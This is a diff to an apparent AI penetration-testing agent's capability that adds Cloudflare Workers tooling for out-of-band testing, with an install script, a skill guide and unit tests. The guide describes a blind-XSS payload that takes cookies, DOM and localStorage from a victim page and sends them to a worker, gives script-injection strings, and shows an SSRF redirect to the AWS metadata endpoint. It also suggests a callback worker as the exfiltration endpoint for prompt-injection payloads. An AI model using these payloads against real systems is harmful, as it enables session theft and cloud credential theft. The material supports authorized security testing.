diff --git a/capabilities/web-security/agents/web-security.md b/capabilities/web-security/agents/web-security.md
index 6fd1e3c..ac9da32 100644
--- a/capabilities/web-security/agents/web-security.md
+++ b/capabilities/web-security/agents/web-security.md
@@ -102,6 +102,7 @@ Any tool that scans, fuzzes, or floods runs on shared local hardware. Cap concur
- Use `store_credential` and `get_credential` to preserve auth state for the current session instead of manually re-entering secrets or tokens. When the credential was operator-sourced, also persist the auth *flow* to project memory (see **Authentication Context** above). Also supports TOTP/MFA via `add_totp_credential` and `generate_mfa_code`.
- Use `assess_confidence` before claiming a vulnerability so your report is grounded in demonstrated evidence rather than a lead or hypothesis.
- Use `get_callback_url` and `check_callbacks` for out-of-band testing (blind SSRF, blind XSS, DNS exfiltration). webhook.site is the primary provider and now paywalls token creation — set `WEBHOOK_SITE_API_KEY` (env var or `.env`) to authenticate with a paid account; the tool reuses the account's existing token when the Basic-tier one-token cap is hit, and falls back to interactsh when no key is available.
+- Use the `wrangler_*` tools (`wrangler_status`, `wrangler_deploy`, `wrangler_tail`, `wrangler_list`, `wrangler_delete`) only when OOB testing needs attacker-controlled infrastructure beyond a passive callback URL — serving a blind XSS payload, a custom response body, or a 302 redirector for SSRF chains. Requires `CLOUDFLARE_API_TOKEN` and `CLOUDFLARE_ACCOUNT_ID` env vars (`CF_API_TOKEN` / `CF_ACCOUNT_ID` aliases accepted). Load the `wrangler-oast` skill for the full workflow. When a plain detection callback is enough, prefer `get_callback_url` — it needs no credentials. Always delete deployed workers (`wrangler_list` + `wrangler_delete`) when testing completes.
- Use `list_free_phone_numbers` and `read_phone_inbox` when signup or MFA flows require SMS verification, unless prompted by the user. Free public numbers first — fall back to `request_private_number`/`poll_private_number` (paid API, needs key via `store_credential`) only when the target blocks public numbers.
- Use `generate_rebinding_hostname` and `list_rebinding_presets` for DNS rebinding SSRF bypass when IP filters validate resolved addresses before fetching.
- Use the `agentmail_*` tools (`agentmail_list_inboxes`, `agentmail_create_inbox`, `agentmail_list_messages`, `agentmail_get_message`, `agentmail_send_message`, `agentmail_reply_message`) to work with AgentMail email inboxes when a real, agent-owned email address is useful — for example signup, recovery, or email-verification flows. Requires an AgentMail API key via the `AGENTMAIL_API_KEY` environment variable or the `api_key` argument. Available only when the key is configured.
diff --git a/capabilities/web-security/capability.yaml b/capabilities/web-security/capability.yaml
index 325f83f..f32d38b 100644
--- a/capabilities/web-security/capability.yaml
+++ b/capabilities/web-security/capability.yaml
@@ -1,6 +1,6 @@
schema: 1
name: web-security
-version: "1.14.0"
+version: "1.15.0"
description: >
Web application penetration testing with 83 attack technique playbooks
covering HTTP desync/request smuggling, cache poisoning, SSRF, SSTI, DOM
@@ -9,7 +9,10 @@ description: >
Includes geo-distributed DNS resolution via in-region open resolvers
(Shodan/Censys) for detecting geo-fenced infrastructure,
HTTP client tooling with OOB callbacks via webhook.site
- (API-key aware) and interactsh, four coexisting Caido surfaces
+ (API-key aware) and interactsh, Cloudflare Workers deployment
+ via wrangler for custom OAST endpoints (blind XSS payload
+ hosting, configurable callback receivers, SSRF redirect
+ servers), four coexisting Caido surfaces
(caido-cli server, the Python caido-sdk-client, lightweight and
full-surface MCP servers, and the caido-mode TypeScript SDK CLI on
@caido/sdk-client / caido-ts) for curl-through-Caido
@@ -199,6 +202,8 @@ checks:
command: command -v exiftool
- name: ast-grep
command: command -v ast-grep
+ - name: wrangler
+ command: command -v wrangler
- name: jxscout
command: command -v jxscout-pro-v2
@@ -251,6 +256,9 @@ keywords:
- ast-grep
- interactsh
- oob-callbacks
+ - wrangler
+ - cloudflare-workers
+ - oast
- securitycontext
- geo-dns
- geo-fencing
diff --git a/capabilities/web-security/docker/Dockerfile.runtime b/capabilities/web-security/docker/Dockerfile.runtime
index 7dcf7dc..d3004a6 100644
--- a/capabilities/web-security/docker/Dockerfile.runtime
+++ b/capabilities/web-security/docker/Dockerfile.runtime
@@ -21,6 +21,7 @@
# - agent-browser (headless Chromium for DOM interaction)
# - kiterunner (API-aware content discovery)
# - surf (SSRF target identification)
+# - wrangler (Cloudflare Workers CLI for custom OAST endpoints)
# - pacu (AWS exploitation framework)
# - ast-grep (AST-based code pattern search via tree-sitter)
#
@@ -120,10 +121,19 @@ RUN go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@late
RUN go install rsc.io/2fa@latest
# ── agent-browser ───────────────────────────────────────────────────
-RUN npm install -g agent-browser \
+# Pinned to match scripts/install_tools.sh (AGENT_BROWSER_VERSION).
+ARG AGENT_BROWSER_VERSION=0.35.1
+RUN npm install -g agent-browser@${AGENT_BROWSER_VERSION} \
&& agent-browser install || true
ENV CHROME_PATH="/usr/bin/chromium"
+# ── wrangler (Cloudflare Workers CLI for custom OAST endpoints) ─────
+# Deploy/tail/delete Workers used as OAST callback endpoints. Auth at
+# runtime via CLOUDFLARE_API_TOKEN / CLOUDFLARE_ACCOUNT_ID (CF_* aliases
+# accepted by the wrangler toolset).
+ARG WRANGLER_VERSION=4.127.0
+RUN npm install -g wrangler@${WRANGLER_VERSION}
+
# ── tsx (for the caido-mode skill's TypeScript SDK CLI) ─────────────
# The caido-mode skill (skills/caido-mode) is mounted at runtime and its
# node_modules are installed by scripts/install_tools.sh at provision time.
diff --git a/capabilities/web-security/scripts/install_tools.sh b/capabilities/web-security/scripts/install_tools.sh
index a0f71a7..4a01d31 100755
--- a/capabilities/web-security/scripts/install_tools.sh
+++ b/capabilities/web-security/scripts/install_tools.sh
@@ -244,8 +244,11 @@ if ! command -v node &>/dev/null; then
&& as_root apt-get install -y --no-install-recommends nodejs \
|| echo "WARN: Node.js install failed, skipping"
fi
+# agent-browser pinned to the current latest — an unpinned install resolves
+# to a different tool on different days, which no SBOM can describe.
+AGENT_BROWSER_VERSION="0.35.1"
if ! have agent-browser; then
- as_root npm install -g agent-browser \
+ as_root npm install -g "agent-browser@${AGENT_BROWSER_VERSION}" \
|| echo "WARN: agent-browser install failed, skipping"
fi
# `agent-browser install` downloads the browser binaries themselves. Guarded on
@@ -271,6 +274,18 @@ if [ -f "$CAIDO_MODE_DIR/package.json" ] && [ ! -d "$CAIDO_MODE_DIR/node_modules
|| echo "WARN: caido-mode npm install failed, skipping"
fi
+# -- wrangler (Cloudflare Workers CLI for OAST endpoints) ------------------
+# Deploys Cloudflare Workers as custom OAST endpoints (blind XSS payload
+# hosting, configurable callback receivers, SSRF redirectors) — see the
+# wrangler toolset and the wrangler-oast skill. Auth is runtime-only via
+# CLOUDFLARE_API_TOKEN / CLOUDFLARE_ACCOUNT_ID (CF_* aliases accepted).
+# Pinned: an unpinned npm install re-resolves against the registry even when
+# the binary is already present, which a sealed deployment must never do.
+WRANGLER_VERSION="4.127.0"
+have wrangler || \
+ as_root npm install -g "wrangler@${WRANGLER_VERSION}" \
+ || echo "WARN: wrangler install failed, skipping"
+
# -- ast-grep (AST-based code pattern search) ---------------------------------
# Tree-sitter based structural code matching for JS/TS/HTML. Lightweight
# alternative to semgrep for pattern matching (no taint analysis).
diff --git a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
index 0ed1c41..f00d8f7 100644
--- a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
+++ b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
@@ -10,6 +10,8 @@ You have blind SSRF. You can hit internal IPs but get no response body. The prog
When SSRF is confirmed but you need attacker-controlled infrastructure to complete the chain (claim a dangling bucket, serve redirects, host custom content for a parser), do not guess or auto-provision. Detect what cloud/hosting CLIs are on the shell (`which aws az gcloud fly netlify wrangler docker ngrok`), present the available options and what the situation requires, then use AskUserQuestion for approval and credential guidance. Do not block other testing while waiting.
+For the redirector and custom-content cases specifically, the built-in `wrangler_*` tools (see the `wrangler-oast` skill) deploy Cloudflare Workers as 302 redirectors or content servers when `CLOUDFLARE_API_TOKEN` / `CLOUDFLARE_ACCOUNT_ID` are set — the same approval gate applies.
+
**Trigger signals:**
- Server response contains `NoSuchBucket`, `BlobNotFound`, or similar dangling cloud resource error — claim the resource name, upload payload
- SSRF follows redirects but you need a reliable controlled redirector (httpbin.org rate-limits) — deploy a minimal 302 server
diff --git a/capabilities/web-security/skills/wrangler-oast/SKILL.md b/capabilities/web-security/skills/wrangler-oast/SKILL.md
new file mode 100644
index 0000000..af7f170
--- /dev/null
+++ b/capabilities/web-security/skills/wrangler-oast/SKILL.md
@@ -0,0 +1,117 @@
+---
+name: wrangler-oast
+description: "Deploy Cloudflare Workers as custom OAST endpoints for blind XSS payload hosting, configurable callback receivers, and SSRF redirect servers. Use when you need attacker-controlled infrastructure beyond what interactsh/webhook.site provides — custom response bodies, JS payload serving, or 302 redirect chains. Requires CLOUDFLARE_API_TOKEN and CLOUDFLARE_ACCOUNT_ID (CF_API_TOKEN / CF_ACCOUNT_ID aliases accepted). Triggers on 'blind XSS', 'custom callback server', 'OAST worker', 'serve a payload', 'redirect server', 'wrangler'."
+---
+
+# Wrangler OAST — Cloudflare Workers for Out-of-Band Testing
+
+Deploy Cloudflare Workers as custom OAST (Out-of-Band Application Security Testing) endpoints. This complements interactsh and webhook.site by giving you **programmable** callback infrastructure at the edge.
+
+**Activation gate:** Only use this skill when `CLOUDFLARE_API_TOKEN` and `CLOUDFLARE_ACCOUNT_ID` are set in the environment (the `CF_API_TOKEN` / `CF_ACCOUNT_ID` aliases also work). If unset, do not suggest wrangler — fall back to `get_callback_url` (webhook.site / interactsh), which needs no credentials. Do not ask the user to enable it; state the requirement once if a technique genuinely needs a custom endpoint and move on.
+
+## When to Use This vs. Interactsh
+
+| Need | Tool |
+|---|---|
+| Detect whether a target makes an outbound request | interactsh / `get_callback_url` |
+| Serve a **custom JavaScript payload** (blind XSS) | `wrangler_deploy` with `blind-xss` template |
+| Serve a **custom HTTP response** (content-type, headers, body) | `wrangler_deploy` with `custom` template |
+| **302 redirect** an SSRF to a different target | `wrangler_deploy` with `redirect` template |
+| Log **full request details** with custom processing | `wrangler_deploy` with `callback` template |
+
+## Prerequisites
+
+1. `CLOUDFLARE_API_TOKEN` — create at https://dash.cloudflare.com/profile/api-tokens with **Workers Scripts Edit** permission
+2. `CLOUDFLARE_ACCOUNT_ID` — found in the Cloudflare dashboard sidebar
+
+Call `wrangler_status` to verify both are set and the token is valid before deploying.
+
+## Workflow
+
+### 1. Check Auth
+
+```
+wrangler_status
+```
+
+If auth fails, the user needs to set the env vars. Do not proceed without valid auth.
+
+### 2. Deploy a Worker
+
+**OAST Callback** — logs every incoming request with full headers, body, and metadata:
+```
+wrangler_deploy(template="callback")
+```
+
+**Blind XSS Probe** — serves a JS payload at the root URL that exfiltrates page data (cookies, DOM, localStorage) back to `/collect` on the same worker:
+```
+wrangler_deploy(template="blind-xss")
+```
+
+Then inject the worker URL as a script source: ``
+
+**SSRF Redirect** — 302 redirects all requests to a target (e.g., cloud metadata):
+```
+wrangler_deploy(template="redirect", redirect_target="http://169.254.169.254/latest/meta-data/")
+```
+
+**Custom Worker** — deploy arbitrary JavaScript:
+```
+wrangler_deploy(template="custom", worker_code='export default { fetch() { return new Response("custom", { headers: { "Content-Type": "text/html" } }); } };')
+```
+
+### 3. Monitor Interactions
+
+After injecting the worker URL into the target, check for incoming requests:
+```
+wrangler_tail(name="dn-oast-xxx", seconds=15)
+```
+
+`wrangler_tail` captures both `console.log()` output from template workers (structured JSON with method, URL, headers, body) and raw request events (method + URL) for custom workers that never call console.log.
+
+### 4. Clean Up
+
+**Cleanup is mandatory.** Always delete workers after testing:
+```
+wrangler_delete(name="dn-oast-xxx")
+```
+
+Use `wrangler_list` to find all deployed workers. Workers created by this toolset use the `dn-oast-` prefix. Log what you created in the gadget ledger, and tear it down before the engagement ends.
+
+## Template Details
+
+### callback
+Logs every request as structured JSON. Responds with `200 OK` and `Access-Control-Allow-Origin: *` to maximize compatibility with CORS-restricted contexts.
+
+Logged fields: `timestamp`, `method`, `url`, `path`, `headers`, `body`, `cf` (Cloudflare request metadata including geolocation).
+
+### blind-xss
+Two-endpoint worker:
+- **`/`** — serves a JavaScript probe that collects `document.cookie`, `location.href`, DOM (first 8KB), `localStorage`, `origin`, and `referrer`, then POSTs the data as JSON to `/collect`
+- **`/collect`** — receives and logs the exfiltrated data (CORS preflight handled)
+
+Inject as: `">` or `javascript:void(document.body.appendChild(document.createElement('script')).src='https://WORKER.workers.dev')`
+
+### redirect
+Returns `302` redirecting to a configurable target URL (defaults to AWS metadata endpoint). The redirect is returned to the *client* — the worker itself never fetches the target, so internal/private addresses work when the SSRF victim follows redirects. Useful for:
+- SSRF filter bypass (server allows `*.workers.dev` but blocks internal IPs)
+- Protocol downgrade (HTTPS worker redirects to HTTP internal target)
+- Chained exploitation (redirect to internal service URLs)
+
+The `redirect_target` must be a full URL including scheme (`http://` or `https://`).
+
+## Combining with Other Tools
+
+- **With interactsh**: Deploy a worker for payload hosting, use interactsh for reliable OOB detection. Best of both worlds.
+- **With CallbackClient**: If you only need detection (not custom responses), `get_callback_url` is simpler and requires no Cloudflare credentials.
+- **With blind SSRF chains**: Deploy a redirect worker to chain SSRF through Workers edge → internal target. See the `blind-ssrf-chains` skill.
+- **With data exfiltration**: Deploy a callback worker as the exfil endpoint for prompt injection or XSS payloads.
+
+## Important Notes
+
+- Workers deploy to Cloudflare's global edge network. Latency is consistently low.
+- Free Cloudflare plans allow 100,000 requests/day — more than enough for testing.
+- Workers get a `*.workers.dev` subdomain automatically. No custom domain needed.
+- `wrangler_tail` connects to the real-time log stream for a bounded window (max 60s per call). Call it repeatedly for longer monitoring.
+- Nothing is persisted locally; auth is read from the environment on every call. The tool never runs `wrangler login`.
+- Always clean up deployed workers after testing. Use `wrangler_list` + `wrangler_delete`.
diff --git a/capabilities/web-security/tests/test_install_tools_offline.py b/capabilities/web-security/tests/test_install_tools_offline.py
index e5274d2..64a856e 100644
--- a/capabilities/web-security/tests/test_install_tools_offline.py
+++ b/capabilities/web-security/tests/test_install_tools_offline.py
@@ -56,11 +56,24 @@ def test_every_go_install_is_guarded(self) -> None:
def test_global_npm_install_is_guarded(self) -> None:
for i, line in enumerate(LINES):
- if re.search(r"^\s*npm install -g", line):
+ if re.search(r"^\s*(as_root\s+)?npm install -g", line):
assert "have " in _preceding_context(
i
), f"unguarded global npm install at line {i + 1}: {line.strip()}"
+ def test_npm_installs_are_version_pinned(self) -> None:
+ # Same SBOM argument as the go pins: an unpinned `npm install -g`
+ # re-resolves against the registry on every boot even when the binary
+ # is present, and installs a different tool on different days.
+ unpinned = [
+ line.strip()
+ for line in LINES
+ if re.search(r"^\s*(as_root\s+)?npm install -g", line)
+ and not re.search(r"@\$?\{?[A-Za-z0-9_.-]+\}?", line.split("-g", 1)[-1])
+ and not line.strip().startswith("#")
+ ]
+ assert not unpinned, f"unpinned npm installs: {unpinned}"
+
def test_py_install_calls_are_guarded(self) -> None:
# Every `py_install` call must be preceded by a `have` check so that
# already-installed Python tools do not re-resolve against PyPI.
@@ -109,6 +122,22 @@ def test_kiterunner_build_is_guarded(self) -> None:
idx = next(i for i, line in enumerate(LINES) if "assetnote/kiterunner" in line)
assert "have kr" in _preceding_context(idx, span=4)
+ def test_wrangler_install_is_guarded_and_pinned(self) -> None:
+ # wrangler is fetched from npm, so the guard-and-pin discipline applies
+ # exactly as it does to the go installs: present binary -> no registry
+ # request; absent binary -> the pinned version, not @latest.
+ idx = next(
+ i for i, line in enumerate(LINES) if "wrangler@${WRANGLER_VERSION}" in line
+ )
+ assert "have wrangler" in _preceding_context(idx, span=6)
+ pin = next(
+ i for i, line in enumerate(LINES) if line.startswith("WRANGLER_VERSION=")
+ )
+ assert re.fullmatch(
+ r"WRANGLER_VERSION=\"[0-9]+\.[0-9]+\.[0-9]+\"",
+ LINES[pin].strip(),
+ ), f"unpinned wrangler version: {LINES[pin]}"
+
def test_git_clones_are_guarded_on_target_dir(self) -> None:
# Clones to persistent paths (fireprox, archivealchemist) are guarded
# on the target directory existing. Clones to /tmp (kiterunner) are
@@ -208,6 +237,7 @@ def test_optional_vendor_downloads_do_not_abort_the_run(self) -> None:
"WARN: waymore install failed",
"WARN: pacu install failed",
"WARN: agent-browser install failed",
+ "WARN: wrangler install failed",
"WARN: caido-mode npm install failed",
):
assert marker in INSTALL_SCRIPT, f"missing non-fatal fallback: {marker}"
diff --git a/capabilities/web-security/tests/test_wrangler.py b/capabilities/web-security/tests/test_wrangler.py
new file mode 100644
index 0000000..bc2d202
--- /dev/null
+++ b/capabilities/web-security/tests/test_wrangler.py
@@ -0,0 +1,867 @@
+"""Tests for the wrangler OAST toolset."""
+
+from __future__ import annotations
+
+import asyncio
+import importlib.util
+import json
+import os
+from pathlib import Path
+from unittest.mock import AsyncMock, MagicMock, patch
+
+import pytest
+
+# The shared conftest.py stub (dreadnode.agents.tools) is installed before
+# this module loads, so the toolset imports cleanly without the real SDK.
+
+MODULE_PATH = Path(__file__).resolve().parent.parent / "tools" / "wrangler.py"
+SPEC = importlib.util.spec_from_file_location("wrangler_tool", MODULE_PATH)
+assert SPEC and SPEC.loader
+MODULE = importlib.util.module_from_spec(SPEC)
+SPEC.loader.exec_module(MODULE)
+
+Wrangler = MODULE.Wrangler
+
+AUTH_ENV = {
+ "CLOUDFLARE_API_TOKEN": "test-token",
+ "CLOUDFLARE_ACCOUNT_ID": "test-account",
+}
+
+
+def _mock_process(
+ stdout: str = "",
+ stderr: str = "",
+ returncode: int = 0,
+) -> MagicMock:
+ """Create a mock asyncio subprocess."""
+ proc = MagicMock()
+ proc.communicate = AsyncMock(return_value=(stdout.encode(), stderr.encode()))
+ proc.returncode = returncode
+ proc.kill = MagicMock()
+ return proc
+
+
+def _patched_env(env: dict[str, str] | None = None):
+ """Patch the environment, keeping PATH so shutil.which still works."""
+ return patch.dict(os.environ, env if env is not None else {}, clear=False)
+
+
+@pytest.fixture
+def toolset() -> Wrangler:
+ with patch.dict(os.environ, AUTH_ENV, clear=False):
+ yield Wrangler()
+
+
+# ---------------------------------------------------------------------------
+# Tool discovery
+# ---------------------------------------------------------------------------
+
+
+class TestToolDiscovery:
+ def test_tools_discovered(self, toolset: Wrangler) -> None:
+ names = {tool.name for tool in toolset.get_tools()}
+ assert names == {
+ "wrangler_status",
+ "wrangler_deploy",
+ "wrangler_tail",
+ "wrangler_list",
+ "wrangler_delete",
+ }
+
+
+# ---------------------------------------------------------------------------
+# Env / auth resolution
+# ---------------------------------------------------------------------------
+
+
+class TestAuthResolution:
+ def test_auth_error_missing_token(self) -> None:
+ with patch.dict(os.environ, {"CLOUDFLARE_ACCOUNT_ID": "acct"}, clear=False):
+ os.environ.pop("CLOUDFLARE_API_TOKEN", None)
+ os.environ.pop("CF_API_TOKEN", None)
+ err = MODULE._auth_error()
+ assert err is not None
+ assert "CLOUDFLARE_API_TOKEN" in err
+
+ def test_auth_error_missing_account(self) -> None:
+ with patch.dict(os.environ, {"CLOUDFLARE_API_TOKEN": "tok"}, clear=False):
+ os.environ.pop("CLOUDFLARE_ACCOUNT_ID", None)
+ os.environ.pop("CF_ACCOUNT_ID", None)
+ err = MODULE._auth_error()
+ assert err is not None
+ assert "CLOUDFLARE_ACCOUNT_ID" in err
+
+ def test_auth_ok_with_native_vars(self) -> None:
+ with patch.dict(os.environ, AUTH_ENV, clear=False):
+ os.environ.pop("CF_API_TOKEN", None)
+ os.environ.pop("CF_ACCOUNT_ID", None)
+ assert MODULE._auth_error() is None
+
+ def test_cf_aliases_accepted(self) -> None:
+ # The flareprox tool in this capability uses CF_* env vars; one
+ # credential pair should drive both tools.
+ with patch.dict(
+ os.environ,
+ {"CF_API_TOKEN": "cf-tok", "CF_ACCOUNT_ID": "cf-acct"},
+ clear=False,
+ ):
+ os.environ.pop("CLOUDFLARE_API_TOKEN", None)
+ os.environ.pop("CLOUDFLARE_ACCOUNT_ID", None)
+ resolved = MODULE._resolve_env()
+ auth_err = MODULE._auth_error()
+ assert resolved == {
+ "CLOUDFLARE_API_TOKEN": "cf-tok",
+ "CLOUDFLARE_ACCOUNT_ID": "cf-acct",
+ }
+ assert auth_err is None
+
+ def test_native_vars_take_precedence(self) -> None:
+ with patch.dict(
+ os.environ,
+ {
+ "CLOUDFLARE_API_TOKEN": "native",
+ "CLOUDFLARE_ACCOUNT_ID": "native-acct",
+ "CF_API_TOKEN": "alias",
+ "CF_ACCOUNT_ID": "alias-acct",
+ },
+ clear=False,
+ ):
+ resolved = MODULE._resolve_env()
+ assert resolved["CLOUDFLARE_API_TOKEN"] == "native"
+ assert resolved["CLOUDFLARE_ACCOUNT_ID"] == "native-acct"
+
+
+# ---------------------------------------------------------------------------
+# Name validation / generation
+# ---------------------------------------------------------------------------
+
+
+class TestNames:
+ def test_generate_name(self) -> None:
+ name = MODULE._generate_name()
+ assert name.startswith("dn-oast-")
+ assert len(name) == len("dn-oast-") + 8
+
+ def test_generate_name_valid(self) -> None:
+ # Auto-generated names must always pass wrangler's own validation.
+ assert MODULE._validate_name(MODULE._generate_name()) is None
+
+ def test_validate_name_accepts_valid(self) -> None:
+ for name in ("dn-oast-abc123", "worker", "a", "a_b-c1"):
+ assert MODULE._validate_name(name) is None
+
+ def test_validate_name_rejects_empty(self) -> None:
+ assert MODULE._validate_name("") is not None
+
+ def test_validate_name_rejects_uppercase(self) -> None:
+ assert MODULE._validate_name("dn-oast-ABC") is not None
+
+ def test_validate_name_rejects_leading_dash(self) -> None:
+ assert MODULE._validate_name("-dn-oast") is not None
+
+ def test_validate_name_rejects_special_chars(self) -> None:
+ # Also covers toml injection attempts: quotes, newlines, equals.
+ for name in ('dn-oast" main="evil', "dn-oast\nx=1", "dn oast", "dn;oast"):
+ assert MODULE._validate_name(name) is not None
+
+
+# ---------------------------------------------------------------------------
+# URL extraction / tail parsing
+# ---------------------------------------------------------------------------
+
+
+class TestOutputParsing:
+ def test_ansi_stripped(self) -> None:
+ # wrangler colorizes even when piped; the tool must hand the LLM
+ # clean text.
+ colored = (
+ "\x1b[31m\x1b[41;31m[\x1b[41;97mERROR\x1b[41;31m]\x1b[0m request failed"
+ )
+ assert MODULE._clean(colored) == "[ERROR] request failed"
+
+ def test_extract_worker_url(self) -> None:
+ output = (
+ "⛅️ wrangler 4.127.0\n"
+ "───────────────\n"
+ "Uploaded dn-oast-test123 (1.2 sec)\n"
+ "Deployed dn-oast-test123 triggers (0.8 sec)\n"
+ " https://dn-oast-test123.myaccount.workers.dev\n"
+ )
+ assert (
+ MODULE._extract_worker_url(output)
+ == "https://dn-oast-test123.myaccount.workers.dev"
+ )
+
+ def test_extract_worker_url_absent(self) -> None:
+ assert MODULE._extract_worker_url("no url here") == ""
+
+ def test_extract_worker_url_ignores_dashboard_links(self) -> None:
+ output = (
+ "Deployed dn-oast-x triggers\n"
+ " https://dash.cloudflare.com/acct/workers/services/view/dn-oast-x\n"
+ " https://dn-oast-x.sub.workers.dev\n"
+ )
+ assert MODULE._extract_worker_url(output).endswith("workers.dev")
+
+ def test_format_tail_console_logs(self) -> None:
+ event = {
+ "outcome": "ok",
+ "logs": [
+ {
+ "message": ['{"method":"GET","url":"https://w.dev/probe"}'],
+ "level": "log",
+ }
+ ],
+ }
+ formatted = MODULE._format_tail_output(json.dumps(event))
+ assert "probe" in formatted
+
+ def test_format_tail_request_events(self) -> None:
+ # Custom workers that never console.log still surface the request.
+ event = {
+ "outcome": "ok",
+ "logs": [],
+ "event": {"request": {"method": "GET", "url": "https://w.dev/collect?x=1"}},
+ }
+ formatted = MODULE._format_tail_output(json.dumps(event))
+ assert "GET https://w.dev/collect?x=1" in formatted
+
+ def test_format_tail_exceptions(self) -> None:
+ event = {
+ "outcome": "exception",
+ "logs": [],
+ "exceptions": [{"name": "Error", "message": "boom"}],
+ }
+ formatted = MODULE._format_tail_output(json.dumps(event))
+ assert "Error" in formatted and "boom" in formatted
+
+ def test_format_tail_passthrough_non_json(self) -> None:
+ formatted = MODULE._format_tail_output("plain text output\n")
+ assert "plain text output" in formatted
+
+ def test_format_tail_multiple_events(self) -> None:
+ events = "\n".join(
+ json.dumps(
+ {
+ "outcome": "ok",
+ "logs": [{"message": [f"event-{i}"], "level": "log"}],
+ }
+ )
+ for i in range(3)
+ )
+ formatted = MODULE._format_tail_output(events)
+ for i in range(3):
+ assert f"event-{i}" in formatted
+
+
+# ---------------------------------------------------------------------------
+# Templates
+# ---------------------------------------------------------------------------
+
+
+class TestTemplates:
+ def test_templates_valid(self) -> None:
+ for key, code in MODULE._TEMPLATES.items():
+ assert code.strip(), f"Template '{key}' is empty"
+ assert "export default" in code, f"Template '{key}' missing export"
+
+
+# ---------------------------------------------------------------------------
+# Status
+# ---------------------------------------------------------------------------
+
+
+class TestStatus:
+ @pytest.mark.asyncio
+ async def test_missing_binary(self, toolset: Wrangler) -> None:
+ with patch("shutil.which", return_value=None):
+ result = await toolset.status()
+ assert "not found" in result.lower()
+
+ @pytest.mark.asyncio
+ async def test_missing_token(self) -> None:
+ with patch.dict(os.environ, {"CLOUDFLARE_ACCOUNT_ID": "acct"}, clear=False):
+ os.environ.pop("CLOUDFLARE_API_TOKEN", None)
+ os.environ.pop("CF_API_TOKEN", None)
+ result = await Wrangler().status()
+ assert "CLOUDFLARE_API_TOKEN" in result
+
+ @pytest.mark.asyncio
+ async def test_missing_account(self) -> None:
+ with patch.dict(os.environ, {"CLOUDFLARE_API_TOKEN": "tok"}, clear=False):
+ os.environ.pop("CLOUDFLARE_ACCOUNT_ID", None)
+ os.environ.pop("CF_ACCOUNT_ID", None)
+ result = await Wrangler().status()
+ assert "CLOUDFLARE_ACCOUNT_ID" in result
+
+ @pytest.mark.asyncio
+ async def test_whoami_failure(self, toolset: Wrangler) -> None:
+ # whoami --json exits non-zero on an invalid token (verified against
+ # wrangler 4.x); status must surface that instead of claiming success.
+ mock_proc = _mock_process(stderr="Invalid request headers", returncode=1)
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ result = await toolset.status()
+ assert "token was rejected" in result.lower()
+
+ @pytest.mark.asyncio
+ async def test_whoami_not_logged_in(self, toolset: Wrangler) -> None:
+ # {"loggedIn": false} with exit 1 — report it as an error.
+ mock_proc = _mock_process(stdout='{"loggedIn": false}', returncode=1)
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ result = await toolset.status()
+ assert "not logged in" in result.lower()
+
+ @pytest.mark.asyncio
+ async def test_success(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(
+ stdout=json.dumps({"loggedIn": True, "account": {"name": "test"}})
+ )
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ result = await toolset.status()
+ assert "operational" in result.lower()
+
+ @pytest.mark.asyncio
+ async def test_uses_json_flag(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(stdout='{"loggedIn": true}')
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch(
+ "asyncio.create_subprocess_exec", return_value=mock_proc
+ ) as mock_exec,
+ ):
+ await toolset.status()
+ args = mock_exec.call_args[0]
+ assert "whoami" in args
+ assert "--json" in args
+
+
+# ---------------------------------------------------------------------------
+# Deploy
+# ---------------------------------------------------------------------------
+
+
+DEPLOY_OUTPUT = (
+ "⛅️ wrangler 4.127.0\n"
+ "Uploaded dn-oast-test123 (1.2 sec)\n"
+ "Deployed dn-oast-test123 triggers (0.8 sec)\n"
+ " https://dn-oast-test123.myaccount.workers.dev\n"
+)
+
+
+class TestDeploy:
+ @pytest.mark.asyncio
+ async def test_missing_auth(self) -> None:
+ with patch.dict(os.environ, {}, clear=False):
+ os.environ.pop("CLOUDFLARE_API_TOKEN", None)
+ os.environ.pop("CF_API_TOKEN", None)
+ result = await Wrangler().deploy()
+ assert "CLOUDFLARE_API_TOKEN" in result
+
+ @pytest.mark.asyncio
+ async def test_unknown_template(self, toolset: Wrangler) -> None:
+ result = await toolset.deploy(template="nonexistent")
+ assert "Unknown template" in result
+
+ @pytest.mark.asyncio
+ async def test_custom_without_code(self, toolset: Wrangler) -> None:
+ result = await toolset.deploy(template="custom")
+ assert "worker_code is required" in result
+
+ @pytest.mark.asyncio
+ async def test_invalid_name_rejected(self, toolset: Wrangler) -> None:
+ # An invalid name must fail before any subprocess runs.
+ with patch("asyncio.create_subprocess_exec") as mock_exec:
+ result = await toolset.deploy(template="callback", name="dn-oast-UPPER")
+ mock_exec.assert_not_called()
+ assert "Invalid worker name" in result
+
+ @pytest.mark.asyncio
+ async def test_callback_deploy(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(stdout=DEPLOY_OUTPUT)
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ result = await toolset.deploy(template="callback", name="dn-oast-test123")
+ assert "deployed successfully" in result.lower()
+ assert "https://dn-oast-test123.myaccount.workers.dev" in result
+
+ @pytest.mark.asyncio
+ async def test_deploy_failure(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(
+ stderr="A request to the Cloudflare API failed", returncode=1
+ )
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
+ patch("asyncio.create_subprocess_exec", return_value=mock_proc),
+ ):
+ result = await toolset.deploy(template="callback", name="dn-oast-test123")
+ assert result.startswith("Error")
+
+ @pytest.mark.asyncio
+ async def test_custom_deploy(self, toolset: Wrangler) -> None:
+ mock_proc = _mock_process(stdout=DEPLOY_OUTPUT)
+ with (
+ patch("shutil.which", return_value="/usr/local/bin/wrangler"),
